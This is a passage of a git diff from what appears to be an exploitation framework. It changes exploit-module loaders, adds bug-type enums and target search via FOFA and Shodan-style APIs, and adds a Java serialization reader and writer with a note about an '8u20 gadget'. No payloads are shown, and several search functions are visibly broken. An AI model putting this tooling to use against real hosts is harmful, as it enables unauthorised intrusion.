'__' or filename[-5:] == '__.py' or filename[ - # -3:] != '.py': - # continue - # try: - # filePath = os.path.join(parent, filename) - # modulePY = importlib.import_module( - # '.'.join(re.split('[\\\\/]', filePath[len(abs_path):-3]))) - # # module = importlib.import_module('FineReport') - # if hasattr(modulePY, 'do'): - # aModule = getattr(modulePY, 'do') - # self.moduleList.append(aModule) - # except Exception as e: - # print('import module {} error, {}'.format(filename, e.__str__())) - # elif moduleType == 'exploit': - # for parent, dirnames, filenameList in os.walk(abs_path + ModulePath.EXPLOIT, followlinks=True): - # for filename in filenameList: - # if filename[-3:] == 'pyc' or filename[:2] == '__' or filename[-5:] == '__.py' or filename[ - # -3:] != '.py': - # continue - # try: - # filePath = os.path.join(parent, filename) - # modulePY = importlib.import_module( - # '.'.join(re.split('[\\\\/]', filePath[len(abs_path):-3]))) - # # module = importlib.import_module('FineReport') - # if hasattr(modulePY, 'Script'): - # aModule = getattr(modulePY, 'Script') - # self.moduleList.append(aModule) - # except Exception as e: - # print('import module {} error, {}'.format(filename, e.__str__())) - - - - # modules = filter(lambda x: (True, False)[x[-3:] == 'pyc' or x[-5:] == '__.py' or x[:2] == '__'], - # os.listdir(self.modulePath)) - # for _ in modules: - # print(_) - # module = importlib.import_module(_[:-3]) - # if hasattr(module, 'Script'): - # aClass = getattr(module, self.object) - # print(aClass) - return self.moduleList - - -if __name__ == '__main__': - moduleloader = ModuleLoader() - moduleloader.moduleLoad(moduleType='exploit', module='*') diff --git a/core/module/modulemanager.py b/core/module/modulemanager.py deleted file mode 100644 index afac02b..0000000 --- a/core/module/modulemanager.py +++ /dev/null @@ -1,114 +0,0 @@ -# coding=utf-8 -# @Author : zpchcbd HG team -# @Time : 2021-09-10 1:06 - -from core.constant import ModulePath -from core.module.moduleloader import ModuleLoader -from core.variablemanager import GlobalVariableManager -import inspect -import importlib -import os -import re - -abs_path = os.getcwd() + os.path.sep # 路径 - - -class ModuleManager(object): - """prepare exploit, saving time for multi save module in cmsExploit. write in 2021.9.10 @zpchcbd""" - remainModuleList = [] - _registerSameTypeMultiModuleList = [] - - def __init__(self, moduleType): - self.moduleLoader = ModuleLoader(moduleType) - self.initMultiModuleDict(moduleType) - - def getSameTypeMultiModules(self, sameTypeMultiModuleName): - moduleName = sameTypeMultiModuleName - destinationList = GlobalVariableManager.getValue(sameTypeMultiModuleName) - """ - 返回全局变量中保存的同类型多模块的目录下的所有模块 - """ - - # 减少同类型多模块加载的时间消耗所写的类 - def initMultiModuleDict(self, moduleType): - if moduleType == 'exploit': - exploitRule = {} - for parent, dirnames, filenameList in os.walk(abs_path + ModulePath.EXPLOIT, followlinks=True): - dirFileLength = 0 - for filename in filenameList: - if filename[-3:] == 'pyc' or filename[:2] == '__' or filename[-5:] == '__.py' or filename[-3:] != '.py': - continue - dirFileLength += 1 - if dirFileLength >= 1: - dirName = re.split('[\\\\/]', parent)[-1] - exploitRule[dirName] = [] - GlobalVariableManager.setValue('exploitRule', exploitRule) - - @staticmethod - def showModule(moduleType='exploit'): - def showExploitModule(): - fileLength = 0 - for parent, dirnames, filenameList in os.walk(abs_path + ModulePath.EXPLOIT, followlinks=True): - for filename in filenameList: - if filename[-3:] == 'pyc' or filename[:2] == '__' or filename[-5:] == '__.py' or filename[-3:] != '.py': - continue - fileLength += 1 - filePath = os.path.join(parent, filename) - print('.'.join(re.split('[\\\\/]', filePath[len(abs_path):-3]))) - print('[+] exploit module size: {}'.format(fileLength)) - - def showThirdModule(): - fileLength = 0 - for parent, dirnames, filenameList in os.walk(abs_path + ModulePath.THIRDLIB, followlinks=True): - for filename in filenameList: - if filename[-3:] == 'pyc' or filename[:2] == '__' or filename[-5:] == '__.py' or filename[-3:] != '.py': - continue - fileLength += 1 - filePath = os.path.join(parent, filename) - print('.'.join(re.split('[\\\\/]', filePath[len(abs_path):-3]))) - print('[+] third module size: {}'.format(fileLength)) - - if moduleType == 'all': - showThirdModule() - print('=' * 50) - showExploitModule() - elif moduleType == 'exploit': - showExploitModule() - elif moduleType == 'third': - showThirdModule() - - def checkModule(self, moduleObject): - for remainModule in ModuleManager.remainModuleList: - if moduleObject.name == remainModule['name']: - pass - - -# 1、获取Script所有的模块的路径 -# 2、最后一个 '.' 之前的相同,那么则表示为 同类型多模块 -# 3、如果是同类型多模块的话,那么则随机取其中的一个模块进行利用 -def multiScript(scriptObject): - lines = inspect.stack(context=2)[1].code_context - decoratedFlag = any(line.startswith('@') for line in lines) - if decoratedFlag: - ModuleManager.remainModuleList.append({scriptObject.name: []}) - return scriptObject - - -@multiScript -class Script: - name = 'apache' - - -@multiScript -class Script: - name = 'apache' - - -@multiScript -class Script: - name = 'apache' - - -if __name__ == '__main__': - mm = ModuleManager('exploit') - mm.checkModule() diff --git a/core/module/modulerule.py b/core/module/modulerule.py deleted file mode 100644 index 0301db7..0000000 --- a/core/module/modulerule.py +++ /dev/null @@ -1,25 +0,0 @@ -# coding=utf-8 -# @Author : zpchcbd HG team -# @Time : 2021-10-22 19:28 - -# 减少同类型多模块加载的时间消耗所写的类 -class ModuleRule: - """ - 存储格式应该为 - remainModuleList = [{"seeyon"}] - """ - # JAVA - Jboss = [] # JBOSS - # OA系列 - Weaver = [] # 泛微系列OA - Landray = [] # 蓝凌系列OA - Seeyon = [] # 致远系列OA - Tongda = [] # 通达系列OA - Yonyou = [] # 用友系列OA - - # 第三方服务系统 - Zabbix = [] # ZABBIX - Couchdb = [] # Couchdb - - # 邮件系统 - Coremail = [] diff --git a/core/myenums.py b/core/myenums.py new file mode 100644 index 0000000..da16817 --- /dev/null +++ b/core/myenums.py @@ -0,0 +1,30 @@ +# coding=utf-8 +# @Author : zpchcbd HG team +# @Time : 2021-09-08 14:11 + + +# About bug 相关的描述枚举类 +class BugType: + SQLINJECTION = 'SQL Injection' + RCE = 'Remote Code Execution' + READFILE = 'Read File' + XXE = 'XXE' + SSRF = 'SSRF' + DESERIALIZE = 'Deserialize' + UPLOADFILE = 'Upload File' + WRITEFILE = 'Write File' + UNAUTH = 'Unauth' + BACKUP = 'Backup' + DIRECTORYTRAVERSAL = 'Directory Traversal' + ANYUSERLOGIN = 'Any User Login' + BYPASSPERMISSION = 'Bypass Permission' + SENSITIVE = 'Sensitive' + FINGER = 'Finger' + MISCONFIGURATION = 'Misconfiguration' + BLAST = 'Blast' + + +class BugLevel: + HIGH = 'High' + MEDIUM = 'Midium' + LOW = 'Low' diff --git a/core/netapi.py b/core/netapi.py new file mode 100644 index 0000000..0024600 --- /dev/null +++ b/core/netapi.py @@ -0,0 +1,74 @@ +# coding=utf-8 +# @Author : zpchcbd HG team +# @Time : 2021-09-10 21:02 +import base64 + +from core.exception.net import NetPageLimitError, NetTokenError +from core.data import config_dict +from core.request.asynchttp import AsyncFetcher +import aiohttp + + +async def searchInterface(*args, **kwargs): + # if kwargs[0] == 'fofa': + # fofaSearch() + pass + + +async def fofaSearch(keyword): + try: + fofa_api = config_dict['fofa']['fofa_api'] + fofa_email = config_dict['fofa']['fofa_email'] + url = "https://fofa.info/api/v1/search/all?email={}&key={}&qbase64={}&size=1000&fields=host" + async with aiohttp.ClientSession() as session: + ret_json = await AsyncFetcher.fetch(session=session, url=url.format(fofa_email, fofa_api, base64.b64encode(keyword.encode()).decode()), json=True) + if 'Account Invalid' in str(ret_json): + raise NetTokenError from None + if 'restrict access' in str(ret_json): + raise NetPageLimitError from None + return ret_json.get('results') + except NetPageLimitError: + print('[-] check your fofa search limit.') + exit(0) + except NetTokenError: + print('[-] check your fofa search account.') + exit(0) + + +async def shodanSearch(keyword): + url = "https://shodan.io/api/v1/search/all?email={}&key={}&qbase64={}&size=1000&fields=host" + async with aiohttp.ClientSession() as session: + ret_json = await AsyncFetcher.fetch(session=session, url=url.format('fofa_email', 'fofa_api', base64.b64encode( + keyword.encode()).decode()), json=True) + return result.get('results') + + +async def quekaSearch(keyword): + url = "https://quake.360.com/api/v1/search/all?email={}&key={}&qbase64={}&size=1000&fields=host" + async with aiohttp.ClientSession() as session: + ret_json = await AsyncFetcher.fetch(session=session, url=url.format('fofa_email', 'fofa_api', base64.b64encode( + keyword.encode()).decode()), json=True) + return result.get('results') + + +async def hunterSearch(keyword): + url = "https://hunter.qianxin.com/api/v1/search/all?email={}&key={}&qbase64={}&size=1000&fields=host" + async with aiohttp.ClientSession() as session: + ret_json = await AsyncFetcher.fetch(session=session, url=url.format('fofa_email', 'fofa_api', base64.b64encode( + keyword.encode()).decode()), json=True) + return result.get('results') + + +async def zoomeyeSearch(keyword): + url = "https://hunter.qianxin.com/api/v1/search/all?email={}&key={}&qbase64={}&size=1000&fields=host" + async with aiohttp.ClientSession() as session: + ret_json = await AsyncFetcher.fetch(session=session, url=url.format('fofa_email', 'fofa_api', base64.b64encode( + keyword.encode()).decode()), json=True) + return result.get('results') + +if __name__ == '__main__': + import asyncio + loop = asyncio.get_event_loop() + result = loop.run_until_complete(fofaSearch('app="泛微-EMobile" && country="CN"')) + # result = loop.run_until_complete(shodanSearch('app="yapi"')) + # result = loop.run_until_complete(quekaSearch('app="yapi"')) diff --git a/core/parser/deserialization/Constants.py b/core/parser/deserialization/Constants.py new file mode 100644 index 0000000..b1cb817 --- /dev/null +++ b/core/parser/deserialization/Constants.py @@ -0,0 +1,63 @@ +# coding=utf-8 +# author: uniodesec + +class Constants: + magic = 44269 # 0xaced + version = 5 # 0005 + + SC_WRITE_METHOD = int.from_bytes(b'\x01', 'big') + SC_BLOCK_DATA = int.from_bytes(b'\x08', 'big') + SC_SERIALIZABLE = int.from_bytes(b'\x02', 'big') + SC_EXTERNALIZABLE = int.from_bytes(b'\x04', 'big') + TC_BASE = b'\x70' + + # Null object reference. + TC_NULL = b'\x70' + + # Reference to an object already written into the bin. + TC_REFERENCE = b'\x71' + + # new Class Descriptor. + TC_CLASSDESC = b'\x72' + + # new Object. + TC_OBJECT = b'\x73' + + # new String. + TC_STRING = b'\x74' + + # new Array. + TC_ARRAY = b'\x75' + + # Reference to Class. + TC_CLASS = b'\x76' + + # Block of optional data. Byte following tag indicates number of bytes in this block data. + TC_BLOCKDATA = b'\x77' + + # End of optional block data blocks for an object. + TC_ENDBLOCKDATA = b'\x78' + + # Reset bin context. All handles written into bin are reset. + TC_RESET = b'\x79' + + # long Block data. The long following the tag indicates the number of bytes in this block data. + TC_BLOCKDATALONG = b'\x7A' + + # Exception during write. + TC_EXCEPTION = b'\x7B' + + # Long string. + TC_LONGSTRING = b'\x7C' + + # new Proxy Class Descriptor. + TC_PROXYCLASSDESC = b'\x7D' + + # new Enum constant. + TC_ENUM = b'\x7E' + + # Last tag value. + TC_MAX = b'\x7E' + + # First wire handle to be assigned. + baseWireHandle = int.from_bytes(b'\x7e\x00\x00', 'big') diff --git a/core/parser/deserialization/Exceptions.py b/core/parser/deserialization/Exceptions.py new file mode 100644 index 0000000..c00a8b8 --- /dev/null +++ b/core/parser/deserialization/Exceptions.py @@ -0,0 +1,18 @@ +# coding=utf-8 +# author: uniodesec + +class InvalidHeaderException(Exception): + def __init__(self, magic, version): + self.magic = magic + self.version = version + + def __str__(self): + print(f"invalid bin header {self.magic:#2x} {self.version:#2x}") + + +class InvalidTypeCodeException(Exception): + def __init__(self, errorTc): + self.tc = errorTc + + def __str__(self): + return f"invalid type code {int.from_bytes(self.tc, 'big'):#2x}" diff --git a/core/parser/deserialization/JavaMetaClass.py b/core/parser/deserialization/JavaMetaClass.py new file mode 100644 index 0000000..d595d77 --- /dev/null +++ b/core/parser/deserialization/JavaMetaClass.py @@ -0,0 +1,195 @@ +# coding=utf-8 +# author: uniodesec + +reference = [] + + +class JavaEndBlock: + def __eq__(self, other): + return isinstance(other, JavaEndBlock) + + +""" +两种block的区别在于size的大小,一个为byte,一个为int +""" + + +class JavaBLockData: + def __init__(self, size, data): + self.size = size + self.data = data + + def __eq__(self, other): + if not isinstance(other, JavaBLockData): + return False + return self.size == other.size and self.data == other.data + + +class JavaLongBLockData: + def __init__(self, size, data): + self.size = size + self.data = data + + def __eq__(self, other): + if not isinstance(other, JavaLongBLockData): + return False + return self.size == other.size and self.data == other.data + + +class JavaClassDesc: + def __init__(self, name, suid, flags): + self.name = name + self.suid = suid + self.flags = flags + self.superJavaClass = None + self.fields = [] + self.classAnnotations = [] + self.hasWriteObjectData = False + + def __eq__(self, other): + if not isinstance(other, JavaClassDesc): + return False + return other.name == self.name + + def __str__(self): + return f"javaclass {self.name}" + + +class JavaClass: + def __init__(self, javaclassDesc): + self.javaclassDesc = javaclassDesc + + def __eq__(self, other): + if not isinstance(other, JavaClass): + return False + return self.javaclassDesc == other.javaclassDesc + + +class JavaProxyClass: + def __init__(self, interfaces): + self.interfaces = interfaces + self.classAnnotations = [] + self.superJavaClass = None + self.fields = [] + self.hasWriteObjectData = False + self.name = "Dynamic proxy" + + def __eq__(self, other): + if not isinstance(other, JavaProxyClass): + return False + for i in zip(self.interfaces, other.interfaces): + if i[0] != i[1]: + return False + return self.superJavaClass == other.superJavaClass + + +class JavaException: + def __init__(self, exception): + self.exception = exception + + def __eq__(self, other): + if not isinstance(other, JavaException): + return False + return self.exception == other.exception + + +class JavaArray: + def __init__(self, length, signature): + self.signature = signature + self.length = length + self.list = [] + + def add(self, __obj__): + self.list.append(__obj__) + + def __eq__(self, other): + if not isinstance(other, JavaArray): + return False + if self.length != other.length: + return False + for i in zip(self.list, other.list): + if i[0] != i[1]: + return False + return True + + +class JavaEnum: + def __init__(self, javaClass): + self.javaClass = javaClass + self.enumConstantName = None + + def __eq__(self, other): + if not isinstance(other, JavaEnum): + return False + return other.javaClass == self.javaClass and self.enumConstantName == other.enumConstantName + + +class JavaString: + def __init__(self, string): + self.string = string + + def startswith(self, string): + return self.string.startswith(string) + + def __str__(self): + return self.string + + def __eq__(self, other): + if not isinstance(other, JavaString): + return False + return other.string == self.string + + +class JavaObject: + def __init__(self, javaClass): + self.javaClass = javaClass + # fields 保存类的字段,队列数据结构。父类在最前,子类在最后 + self.fields = [] + self.objectAnnotation = [] + + def __str__(self): + return f"className {self.javaClass.name}\t extend {self.javaClass.superJavaClass}" + + def __eq__(self, other): + if not isinstance(other, JavaObject): + return False + if id(other) == id(self): + return True + if other.javaClass != self.javaClass: + return False + if len(other.fields) != len(self.fields): + return False + else: + if id(self) in reference: + return True + else: + reference.append(id(self)) + for i in zip(self.fields, other.fields): + for j in zip(*i): + if j[0].value == self and j[1].value == other: + continue + if j[0] != j[1]: + reference.pop() + return False + if len(other.objectAnnotation) != len(self.objectAnnotation): + reference.pop() + return False + else: + for i in zip(other.objectAnnotation, self.objectAnnotation): + if i[0] != i[1]: + reference.pop() + return False + reference.pop() + return True + + +class JavaField: + def __init__(self, name, signature, value): + self.fieldName = name + self.signature = signature + self.value = value + + def __eq__(self, other): + if not isinstance(other, JavaField): + return False + return other.signature == self.signature and other.value == self.value and other.fieldName == self.fieldName diff --git a/core/parser/deserialization/ObjectIO.py b/core/parser/deserialization/ObjectIO.py new file mode 100644 index 0000000..73a91d4 --- /dev/null +++ b/core/parser/deserialization/ObjectIO.py @@ -0,0 +1,98 @@ +# coding=utf-8 +# author: uniodesec + +from struct import pack, unpack + + +class ObjectIO: + def __init__(self, base_stream): + self.base_stream = base_stream + + def readByte(self) -> bytes: + return self.base_stream.read(1) + + def peekByte(self) -> bytes: + return self.base_stream.peek()[:1] + + def readUnsignedShort(self) -> int: + number = self.readBytes(2) + number = int.from_bytes(number, 'big') + return number & 0xFFFF + + def readUnsignedLong(self) -> int: + number = self.readBytes(8) + return int.from_bytes(number, 'big', signed=False) + + def readLong(self) -> int: + number = self.readBytes(8) + return int.from_bytes(number, 'big', signed=True) + + def readShort(self) -> int: + number = self.readBytes(2) + return int.from_bytes(number, 'big') + + def readInt(self) -> int: + return int.from_bytes(self.readBytes(4), 'big', signed=True) + + def writeInt(self, num): + self.writeBytes(num.to_bytes(4, 'big', signed=True)) + + def readBytes(self, length) -> bytes: + return self.base_stream.read(length) + + def readString(self) -> str: + length = self.readUnsignedShort() + return self.readBytes(length).decode() + + def readFloat(self): + num = self.readBytes(4) + # 模拟ieee 754 标准,具体参考https://stackoverflow.com/questions/30124608/convert-unsigned-integer-to-float-in-python + s = pack('>l', int.from_bytes(num, 'big')) + return unpack('>f', s)[0] + + def readBoolean(self): + tc = int.from_bytes(self.readByte(), 'big') + return True if tc == 0 else False + + def readChar(self): + tc = self.readBytes(2) + return tc.decode() + + def readDouble(self): + tc = self.readBytes(8) + return unpack('d', tc)[0] + + def writeBytes(self, value): + self.base_stream.write(value) + + def writeString(self, value): + length = len(value) + self.writeShort(length) + self.writeBytes(value.encode()) + + def pack(self, fmt, data): + return self.writeBytes(pack(fmt, data)) + + def unpack(self, fmt, length=1): + return unpack(fmt, self.readBytes(length))[0] + + def writeShort(self, num): + self.writeBytes(num.to_bytes(2, "big")) + + def writeLong(self, num): + self.writeBytes(num.to_bytes(8, "big", signed=True)) + + def writeFloat(self, value): + s = pack('>f', value) + s = unpack('>l', s)[0] + self.writeBytes(s.to_bytes(4, 'big')) + + def writeChar(self, value): + self.writeBytes(value.encode) + + def writeDouble(self, value): + self.writeBytes(pack('d', value)) + + def writeBoolean(self, value): + value = 0 if value else 1 + self.writeBytes(value.to_bytes(1, 'big')) diff --git a/core/parser/deserialization/ObjectRead.py b/core/parser/deserialization/ObjectRead.py new file mode 100644 index 0000000..537fdae --- /dev/null +++ b/core/parser/deserialization/ObjectRead.py @@ -0,0 +1,354 @@ +# coding=utf-8 +# author: uniodesec + +from core.parser.deserialization import Constants +from core.parser.deserialization.Exceptions import InvalidHeaderException, InvalidTypeCodeException +from core.parser.deserialization.JavaMetaClass import JavaProxyClass, JavaClassDesc, JavaEndBlock, JavaObject, JavaField, JavaString, JavaClass, \ + JavaBLockData, JavaArray, JavaEnum, JavaException, JavaLongBLockData +from core.parser.deserialization.ObjectIO import ObjectIO + + +class ObjectRead: + def __init__(self, stream): + self.bin = ObjectIO(stream) + self.handles = [] + self.readStreamHeader() + + def newHandles(self, __object__): + self.handles.append(__object__) + return len(self.handles) - 1 + Constants.baseWireHandle + + def readStreamHeader(self): + magic = self.bin.readUnsignedShort() + version = self.bin.readUnsignedShort() + if magic != Constants.magic or version != Constants.version: + raise InvalidHeaderException(magic, version) + + def readClassDescriptor(self): + """ + 读取非动态代理类的结构, 已经将读取到的classdesc添加到handle中 + :return: + """ + tc = self.bin.peekByte() + if tc == Constants.TC_CLASSDESC: + javaClass = self.__readClassDesc__() + elif tc == Constants.TC_REFERENCE: + javaClass = self.readHandle() + else: + raise InvalidTypeCodeException(tc) + return javaClass + + def readProxyClassDescriptor(self): + """ + 读取动态代理类的结构 + # TODO: 此处可能有问题,需要进一步检查 + :return: + """ + tc = self.bin.readByte() + if tc != Constants.TC_PROXYCLASSDESC: + raise InvalidTypeCodeException(tc) + interfaceCount = self.bin.readInt() + print(f"Interface count {interfaceCount}") + interfaces = [] + for i in range(interfaceCount): + interfaceName = self.bin.readString() + interfaces.append(interfaceName) + print("--------------") + print(interfaceName) + javaProxyClass = JavaProxyClass(interfaces) + handle = self.newHandles(javaProxyClass) + print(f"TC_PROXYCLASSDESC new handle from {hex(handle)}") + self.readClassAnnotations(javaProxyClass) + javaProxyClass.superJavaClass = self.readSuperClassDesc() + return javaProxyClass + + def __readClassDesc__(self): + tc = self.bin.readByte() + if tc != Constants.TC_CLASSDESC: + raise InvalidTypeCodeException(tc) + # read Class name from bin + className = self.bin.readString() + suid = self.bin.readLong() + flags = self.bin.readByte() + flags = int.from_bytes(flags, 'big') + numFields = self.bin.readUnsignedShort() + externalizable = flags & Constants.SC_EXTERNALIZABLE != 0 + sflag = flags & Constants.SC_SERIALIZABLE != 0 + hasWriteObjectData = flags & Constants.SC_WRITE_METHOD != 0 + hasBlockExternalData = flags & Constants.SC_BLOCK_DATA != 0 + if externalizable and sflag: + print("serializable and externalizable flags conflict") + + print(f"className {className}") + print(f"suid {suid}") + print(f"number of fields {numFields}") + classDesc = JavaClassDesc(className, suid, flags) + classDesc.hasWriteObjectData = hasWriteObjectData + classDesc.hasBlockExternalData = hasBlockExternalData + handle = self.newHandles(classDesc) + print(f"TC_CLASSDESC new handle from {hex(handle)} className {className}") + fields = [] + for i in range(numFields): + tcode = self.bin.readByte() + fname = self.bin.readString() + if tcode == b'L' or tcode == b'[': + signature = self.readTypeString() + else: + signature = tcode.decode() + fields.append({'name': fname, 'signature': signature}) + print(f"name {fname} signature {signature}") + classDesc.fields = fields + self.readClassAnnotations(classDesc) + superjavaClass = self.readSuperClassDesc() + classDesc.superJavaClass = superjavaClass + return classDesc + + def readClassAnnotations(self, classDesc): + """ + 读取类的附加信息 + """ + print(f"ClassAnnotations start ") + while True: + __obj__ = self.readContent() + classDesc.classAnnotations.append(__obj__) + if isinstance(__obj__, JavaEndBlock): + break + + print(f"ClassAnnotations end ") + + def readSuperClassDesc(self): + """ + 读取父类的的class信息,一直到父类为空,类似于链表。java不支持多继承 + :return: + """ + tc = self.bin.peekByte() + print(f"Super Class start") + if tc != Constants.TC_NULL: + superJavaClass = self.readClassDescriptor() + else: + self.bin.readByte() + superJavaClass = None + print(f"Super Class End") + return superJavaClass + + def readObject(self): + tc = self.bin.readByte() + if tc != Constants.TC_OBJECT: + raise InvalidTypeCodeException(tc) + tc = self.bin.peekByte() + javaClass = None + if tc == Constants.TC_CLASSDESC: + javaClass = self.readClassDescriptor() + elif tc == Constants.TC_NULL: + return self.readNull() + elif tc == Constants.TC_REFERENCE: + javaClass = self.readHandle() + elif tc == Constants.TC_PROXYCLASSDESC: + javaClass = self.readProxyClassDescriptor() + else: + raise InvalidTypeCodeException(tc) + + javaObject = JavaObject(javaClass) + handle = self.newHandles(javaObject) + print(f"readObject new handle from {hex(handle)}") + self.readClassData(javaObject) + return javaObject + + def readClassData(self, javaObject): + """ + 读取对象的值,先读取父类的值,再读取子类的值 + :return: + """ + superClass = javaObject.javaClass + superClassList = [] + while superClass: + superClassList.append(superClass) + superClass = superClass.superJavaClass + + while superClassList: + classDesc = superClassList.pop() + fields = classDesc.fields + currentField = [] + for field in fields: + signature = field['signature'] + value = self.readFieldValue(signature) + javaField = JavaField(field['name'], signature, value) + currentField.append(javaField) + javaObject.fields.append(currentField) + if classDesc.hasWriteObjectData: + self.readObjectAnnotations(javaObject) + + def readHandle(self): + """ + 反序列化中是不会出现两个一摸一样的值,第二个值一般都是引用 + :return: + """ + self.bin.readByte() + handle = self.bin.readInt() + print(hex(handle)) + handle = handle - Constants.baseWireHandle + return self.handles[handle] + + def readTypeString(self): + tc = self.bin.peekByte() + if tc == Constants.TC_NULL: + return self.readNull() + elif tc == Constants.TC_REFERENCE: + return self.readHandle() + elif tc == Constants.TC_STRING: + return self.readString() + elif tc == Constants.TC_LONGSTRING: + return self.readString() + else: + raise InvalidTypeCodeException(tc) + + def readString(self): + self.bin.readByte() + string = self.bin.readString() + javaString = JavaString(string) + handle = self.newHandles(javaString) + print(f"readString new handle from {hex(handle)} value {string}") + return javaString + + def readContent(self): + tc = self.bin.peekByte() + if tc == Constants.TC_NULL: + return self.readNull() + elif tc == Constants.TC_REFERENCE: + return self.readHandle() + elif tc == Constants.TC_CLASS: + self.bin.readByte() + clazz = self.readClassDescriptor() + javaClass = JavaClass(clazz) + handle = self.newHandles(javaClass) + print(f"TC_CLASS new handle from {hex(handle)}") + return javaClass + elif tc == Constants.TC_CLASSDESC: + return self.readClassDescriptor() + elif tc == Constants.TC_PROXYCLASSDESC: + return self.readProxyClassDescriptor() + elif tc == Constants.TC_STRING or tc == Constants.TC_LONGSTRING: + return self.readTypeString() + elif tc == Constants.TC_ENUM: + return self.readEnum() + elif tc == Constants.TC_OBJECT: + return self.readObject() + elif tc == Constants.TC_EXCEPTION: + return self.readException() + elif tc == Constants.TC_RESET: + self.readReset() + elif tc == Constants.TC_ARRAY: + return self.readArray() + elif tc == Constants.TC_BLOCKDATA: + return self.readBlockData() + elif tc == Constants.TC_BLOCKDATALONG: + return self.readLongBLockData() + elif tc == Constants.TC_ENDBLOCKDATA: + return self.readEndBlock() + else: + raise InvalidTypeCodeException(tc) + + def readBlockData(self): + self.bin.readByte() + length = int.from_bytes(self.bin.readByte(), 'big') + data = self.bin.readBytes(length) + print(data) + blockData = JavaBLockData(length, data) + return blockData + + def readEndBlock(self): + self.bin.readByte() + endBD = JavaEndBlock() + return endBD + + def readObjectAnnotations(self, javaObject): + print("reading readObjectAnnotations") + while True: + __obj__ = self.readContent() + javaObject.objectAnnotation.append(__obj__) + if isinstance(__obj__, JavaEndBlock): + break + # 为了读取8u20 gadget + if isinstance(__obj__, JavaObject): + if __obj__.javaClass.name =='sun.reflect.annotation.AnnotationInvocationHandler' and javaObject.javaClass.name == 'java.beans.beancontext.BeanContextSupport': + break + + def readNull(self): + self.bin.readByte() + return 'null' + + def readArray(self): + self.bin.readByte() + tc = self.bin.peekByte() + javaClass = None + if tc == Constants.TC_CLASSDESC: + javaClass = self.readClassDescriptor() + elif tc == Constants.TC_REFERENCE: + javaClass = self.readHandle() + else: + print("unsupport type") + size = self.bin.readInt() + print(javaClass) + print(f"array size {size}") + javaarray = JavaArray(size, javaClass) + handle = self.newHandles(javaarray) + print(f"TC_ARRAY new handle from {hex(handle)}") + for i in range(size): + signature = javaClass.name[1:] + javaarray.add(self.readFieldValue(signature)) + return javaarray + + def readFieldValue(self, signature: str): + """ + 读取字段的值,根据字段的类型 + """ + if signature.startswith("L") or signature.startswith("["): + return self.readContent() + elif signature == 'B': + return self.bin.readByte() + elif signature == 'C': + return self.bin.readChar() + elif signature == 'D': + return self.bin.readDouble() + elif signature == 'F': + return self.bin.readFloat() + elif signature == 'I': + return self.bin.readInt() + elif signature == 'J': + return self.bin.readLong() + elif signature == 'S': + return self.bin.readShort() + elif signature == "Z": + return self.bin.readBoolean() + else: + print(f"unsupport signature {signature}") + + def readEnum(self): + self.bin.readByte() + javaClass = self.readClassDescriptor() + javaEnum = JavaEnum(javaClass) + handle = self.newHandles(javaEnum) + print(f"read enum new handle {handle}") + enumConstantName = self.readContent() + javaEnum.enumConstantName = enumConstantName + return javaEnum + + def readReset(self): + self.bin.readByte() + self.handles = [] + + def readException(self): + self.bin.readByte() + self.handles = [] + exception = self.readObject() + self.handles = [] + javaException = JavaException(exception) + return javaException + + def readLongBLockData(self): + self.bin.readByte() + length = int.from_bytes(self.bin.readBytes(4), 'big') + data = self.bin.readBytes(length) + print(data) + blockData = JavaLongBLockData(length, data) + return blockData diff --git a/core/parser/deserialization/ObjectWrite.py b/core/parser/deserialization/ObjectWrite.py new file mode 100644 index 0000000..b99eee1 --- /dev/null +++ b/core/parser/deserialization/ObjectWrite.py @@ -0,0 +1,220 @@ +# coding=utf-8 +# author: uniodesec + +import copy + +from core.parser.deserialization.Constants import Constants +from core.parser.deserialization.JavaMetaClass import JavaObject, JavaEndBlock, JavaString, JavaField, JavaBLockData, JavaArray, JavaException, \ + JavaClassDesc, JavaProxyClass, JavaEnum, JavaClass +from core.parser.deserialization.ObjectIO import ObjectIO + + +class ObjectWrite: + def __init__(self, stream): + self.handles = [] + self.stream = ObjectIO(stream) + self.writeStreamHeader() + + def writeStreamHeader(self): + self.stream.writeBytes(b'\xac\xed') + self.stream.writeBytes(b'\x00\x05') + + def writeContent(self, content): + if isinstance(content, JavaObject): + self.writeObject(content) + elif isinstance(content, JavaEndBlock): + self.writeEndBlock(content) + elif isinstance(content, JavaString): + self.writeTypeString(content) + elif isinstance(content, JavaField): + self.writeJavaField(content) + elif isinstance(content, JavaBLockData): + self.writeJavaBlockData(content) + elif isinstance(content, JavaArray): + self.writeJavaArray(content) + elif isinstance(content, JavaException): + self.writeJavaException(content) + elif isinstance(content, JavaClassDesc): + self.writeJavaClassDesc(content) + elif isinstance(content, JavaProxyClass): + self.writeJavaProxyClass(content) + elif isinstance(content, JavaEnum): + self.writeEnum(content) + elif isinstance(content, JavaClass): + self.writeClass(content) + elif content == 'null': + self.stream.writeBytes(Constants.TC_NULL) + else: + print(content) + + def writeObject(self, javaObject): + if javaObject in self.handles: + self.writeHandle(javaObject) + return + self.stream.writeBytes(Constants.TC_OBJECT) + self.writeClassDesc(javaObject.javaClass) + self.handles.append(copy.deepcopy(javaObject)) + + superClassList = [] + superClass = javaObject.javaClass + while True: + if superClass: + superClassList.append(superClass) + superClass = superClass.superJavaClass + else: + break + lastWriteObjectAnnotations = 0 + for field in javaObject.fields: + classDesc = superClassList.pop() + for i in field: + self.writeContent(i) + if classDesc.hasWriteObjectData: + lastWriteObjectAnnotations = self.writeObjectAnnotations(javaObject.objectAnnotation, + lastWriteObjectAnnotations) + + def writeClassDesc(self, javaClass): + if javaClass in self.handles: + self.writeHandle(javaClass) + return + if isinstance(javaClass, JavaProxyClass): + return self.writeJavaProxyClass(javaClass) + self.stream.writeBytes(Constants.TC_CLASSDESC) + self.stream.writeString(javaClass.name) + self.stream.writeLong(javaClass.suid) + self.stream.writeBytes(javaClass.flags.to_bytes(1, 'big')) + self.stream.writeShort(len(javaClass.fields)) + self.handles.append(javaClass) + writeTypeString = False + for i in javaClass.fields: + if i['signature'].startswith('L') or i['signature'].startswith('['): + self.stream.writeBytes(i['signature'].string[0].encode()) + writeTypeString = True + else: + self.stream.writeBytes(i['signature'].encode()) + self.stream.writeString(i['name']) + if writeTypeString: + self.writeTypeString(i['signature']) + self.writeClassAnnotations(javaClass.classAnnotations) + if javaClass.superJavaClass is not None: + self.writeClassDesc(javaClass.superJavaClass) + else: + self.stream.writeBytes(Constants.TC_NULL) + + def writeHandle(self, obj): + handle = self.handles.index(obj) + print(hex(handle)) + handle = Constants.baseWireHandle + handle + self.stream.writeBytes(Constants.TC_REFERENCE) + self.stream.writeInt(handle) + + def writeTypeString(self, javaString): + if javaString in 